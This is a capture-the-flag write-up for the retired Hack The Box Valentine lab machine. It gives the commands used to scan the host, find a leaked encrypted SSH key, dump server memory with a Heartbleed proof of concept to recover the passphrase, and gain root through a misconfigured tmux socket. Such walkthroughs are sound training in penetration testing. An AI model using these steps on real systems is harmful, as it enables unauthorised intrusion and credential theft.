This is a writeup for the retired Hack The Box Valentine machine.
- Machine URL:
https://www.hackthebox.com/machines/valentine
- Machine IP:
10.10.10.79
- Time Required: 3 h
Solution summary
The Valentine machine runs outdated software including an old version of the OpenSSL library, vulnerable to Heartbleed (CVE-2014-0160).
Using this vulnerability, an attacker can decrypt SSH keys held by Valentine’s Apache HTTP Server. After gaining access to a regular user account, a tmux session with improper read and write permissions allows gaining root privileges.
Solution
The steps to solving this machine are:
- Identify running services with Nmap
- Crawl files on web server
- Retrieve encrypted private SSH key from server.
- Find Heartbleed vulnerability.
- Use Heartbleed to dump memory out of OpenSSL library used in Apache HTTP Server.
- Find SSH key password in memory dump.
- Access
hype
user account and retrieve user flag. - Perform enumeration on local machine and identify privilege escalation vector.
- Use open root tmux session to retrieve root flag.
Nmap
nmap -oX machines/valentine/nmap.xml -sV -A -sC 10.10.10.79
Starting Nmap 7.94 ( https://nmap.org ) at 2024-09-16 08:27 JST
Nmap scan report for 10.10.10.79
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2024-09-15T23:17:31+00:00; -10m32s from scanner time.
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -10m32s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.23 seconds
- Apache HTTP Server 2.2.22 is running on 80/TCP and 443/TCP
- OpenSSH 5.9p1 is running on 22/TCP
- System is running Ubuntu
Potential vulnerabilities:
- The server uses an outdated version of Apache HTTP Server 2.2.22: www.cvedetails.com
- The server uses and outdated version of OpenSSH 5.9p1: www.cvedetails.com
Website at http(s)://valentine.htb
The next step is to crawl directories and files on http://valentine.htb
using
feroxbuster
. The following show screenshots of the landing page served on
port 80 and 443.
feroxbuster
here uses the raft-medium-directories.txt
word list and
explicitly filters out 404
status codes:
feroxbuster \
--url http://10.10.10.79 \
--wordlist=SecLists/Discovery/Web-Content/raft-medium-directories.txt \
--quiet -C 404 --collect-backups
Four interesting pages turn up after feroxbuster
finishes:
[...]
301 GET 9l 28w 308c http://10.10.10.79/dev => http://10.10.10.79/dev/
200 GET 8l 39w 227c http://10.10.10.79/dev/notes.txt
200 GET 2l 1794w 5383c http://10.10.10.79/dev/hype_key
200 GET 1l 2w 38c http://10.10.10.79/index
200 GET 620l 3539w 275344c http://10.10.10.79/omg.jpg
200 GET 1l 2w 38c http://10.10.10.79/
200 GET 25l 54w 552c http://10.10.10.79/decode.php
200 GET 27l 54w 554c http://10.10.10.79/encode
[...]
Decoding hype_key
feroxbuster
finds dev/hype_key
, containing a long series of hexadecimal
values.
What could be in hype_key
? You can reverse the hexadecimal encoded file using
xxd
like so:
xxd -r -p machines/valentine/hype_key
Shocking, an RSA private key. Here are the (abbreviated) contents.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
[...]
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
Store this key in machines/valentine/hype_rsa
. Next, you need to find out
which lock this key fits. The second line in the key contains the keyword
ENCRYPTED
. This means that someone encrypted this key, and that you have to
find the passphrase for this key.
openssl rsa -in machines/valentine/hype_rsa -text -noout
It doesn’t work with an empty passphrase:
Enter pass phrase for machines/valentine/hype_rsa:
Could not read private key from machines/valentine/hype_rsa
40879803517F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:providers/implementations/ciphers/ciphercommon_block.c:124:
40879803517F0000:error:04800065:PEM routines:PEM_do_header:bad decrypt:crypto/pem/pem_lib.c:467:
John also isn’t successful at finding a passphrase:
# Make sure a recent ssh2john is installed, otherwise the script will not
# work due to a Python 3 compatibility issue
ssh2john.py machines/valentine/hype_rsa > machines/valentine/hype_rsa.john
john --wordlist=(tar -xvzf SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz -O | psub) \
machines/valentine/hype_rsa.john
# Try shorter list but with rules
john --wordlist=SecLists/Passwords/xato-net-10-million-passwords-1000.txt \
--rule=d3ad0ne machines/valentine/hype_rsa.john
# See if anything comes up
john --show machines/valentine/hype_rsa.john
Since this isn’t a password cracking challenge, attempting any further cracking isn’t needed.
0 password hashes cracked, 1 left
This machine requires a different solution angle. Without the passphrase you won’t be able to see if this private key matches any of the public keys retrieved so far.
Back to Nmap
At this point I realized that I have missed something. I ran Nmap one more time, making sure I haven’t missed anything:
nmap -oX machines/valentine/nmap_vulns.xml --script "vuln" 10.10.10.79
Nmap reveals a few vulnerabilities and ssl-heartbleed
immediately sticks out:
[...]
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to
be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for
reading memory of systems protected by the vulnerable OpenSSL versions and
could allow for disclosure of otherwise encrypted confidential information as
well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
[...]
Heartbleed
Here you are going to learn how to use a heartbleed
exploit proof of concept
(PoC) hosted here and read out a
long binary dump of “heartbled” memory into machines/valentine/heartbled.bin
.
This writeup assumes that your machine runs Python 3, not Python 2. The exploit
author wrote this PoC for Python 2, and it doesn’t work with Python 3. To run
the script with Python 3, first convert it using 2to3
:
2to3 -w machines/valentine/heartbleed.py
After 2to3
, there were still some issues with bytes
and string
data type
confusion. Using a type checker like
pyright
, try fixing these type
issues.
To store the “heartbled” memory dump, use the --rawoutfile
flag:
python3 machines/valentine/heartbleed.py 10.10.10.79 \
--rawoutfile=machines/valentine/heartbled.bin
Finding credentials in the memory dump
Using strings
you can find interesting strings in this heartbled.bin
file:
strings machines/valentine/heartbled.bin
The $text=...
variable looks interesting.
[...]
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==y3
M{(9
[...]
Use base64 -d
to decode it:
echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
base64 -d
decodes the following string:
heartbleedbelievethehype
Is this the secret to cracking the hype_rsa
RSA key? Enter this as a
passphrase into openssl rsa
and cross your fingers.
openssl rsa -in machines/valentine/hype_rsa -text -noout
It works. OpenSSL shows the following (abbreviated) information from the successfully decrypted private key:
Private-Key: (2048 bit, 2 primes)
modulus:
00:d4:53:78:99:70:30:9f:78:20:88:30:bf:37:e0:
[...]
5f:2e:0b:9f:22:f2:b1:3f:6d:a0:f3:5b:61:8c:2b:
b2:55:70:0b:cf:8a:e9:ee:d8:9d:10:79:68:3c:b1:
53:b2:b4:b2:f1:3d:5c:4f:ac:f2:83:6f:b0:81:12:
4c:cd
publicExponent: 65537 (0x10001)
privateExponent:
20:6a:01:ce:42:df:59:69:08:66:62:32:bf:00:04:
7d:99:ff:95:84:85:2e:1c:f7:49:93:60:72:5c:d5:
[...]
c8:65:dc:39:8c:85:bd:ed:4b:89:c0:de:94:dc:d1:
0d
[...]
coefficient:
00:9e:da:39:ba:ab:80:ed:43:e9:93:bc:e0:6b:0a:
[...]
ac:6b:b7:89:16:91:ea:79:a8:c9:58:07:37:d2:a3:
8e:d4:80:65:35:5a:1e:87:10
While you’re at it, remove the password from the SSH key using the following command:
# Make sure ssh won't complain about file permissions
chmod 600 machines/valentine/hype_rsa
# heartbleedbelievethehype
ssh-keygen -p -f machines/valentine/hype_rsa
SSH access
Now that you acquired a usable SSH key, try to log in:
# Thanks to
# https://stackoverflow.com/a/73833149
# for the workaround option used here:
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa hype@10.10.10.79
You’re inside now and you can immediately retrieve the user flag:
[...]
hype@Valentine:~$ whoami
hype
hype@Valentine:~$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
hype@Valentine:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
The user flag is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
. Now you need to find the
root flag.
Device enumeration
Run a full device enumeration using the following script:
#!/bin/bash
set -o pipefail
sedscript="1h;1s/./=/gp;x;1p;x;1p"
function run ()
{
echo "BEGIN $1" | sed -n "$sedscript"
if $1 |& cat; then
echo "END $1" | sed -n "$sedscript"
else
echo "FAIL $1" | sed -n "$sedscript"
fi
}
commands=("uname -a"
"whoami"
"hostname"
"cat /etc/os-release"
"lspci -nn"
"lscpu"
"systemctl status"
"ps aux"
"ip link show"
"ip address show"
"ip route show"
"cat /etc/passwd"
"cat /etc/group"
"iptables --list"
"ss -tl")
for command in "${commands[@]}"; do
run "$command"
done
Pass the script to the hype
user like so:
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa \
hype@10.10.10.79 \
bash -s < machines/valentine/enumerate.sh > machines/valentine/enumerate.log
Here are a few running processes from ps aux
that could be useful:
[...]
============
BEGIN ps aux
============
[...]
root 955 0.0 0.2 49952 2852 ? Ss Sep15 0:00 /usr/sbin/sshd -D
root 1043 0.0 0.0 19976 976 tty4 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty4
root 1053 0.0 0.0 19976 976 tty5 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty5
root 1060 0.0 0.1 26416 1676 ? Ss Sep15 0:06 /usr/bin/tmux -S /.devs/dev_sess
root 1063 0.0 0.4 20652 4580 pts/15 Ss+ Sep15 0:00 -bash
root 1066 0.0 0.0 19976 972 tty2 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty2
root 1067 0.0 0.0 19976 968 tty3 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty3
root 1072 0.0 0.0 19976 976 tty6 Ss+ Sep15 0:00 /sbin/getty -8 38400 tty6
[...]
==========
END ps aux
==========
[...]
What could that tmux session be? Is it accessible?
tmux
You’ve found ourselves a tmux session. Inspect the session file:
hype@Valentine:~$ ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 Sep 15 16:16 /.devs/dev_sess
hype@Valentine:~$ file /.devs/dev_sess
/.devs/dev_sess: socket
For some reason, the current hype
user’s group can access the file (rw
flag
set). The file is a UNIX domain socket that allows you to connect to a tmux
session. Try to connect to it using tmux -S
:
hype@Valentine:~$ tmux -S /.devs/dev_sess list-sessions
0: 1 windows (created Sun Sep 15 16:16:09 2024) [80x24]
1: 1 windows (created Sun Sep 15 23:47:37 2024) [120x34]
hype@Valentine:~$ tmux -S /.devs/dev_sess attach-session -t 0
[exited]
This gives you a root shell and you can find the root flag:
root@Valentine:/# cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX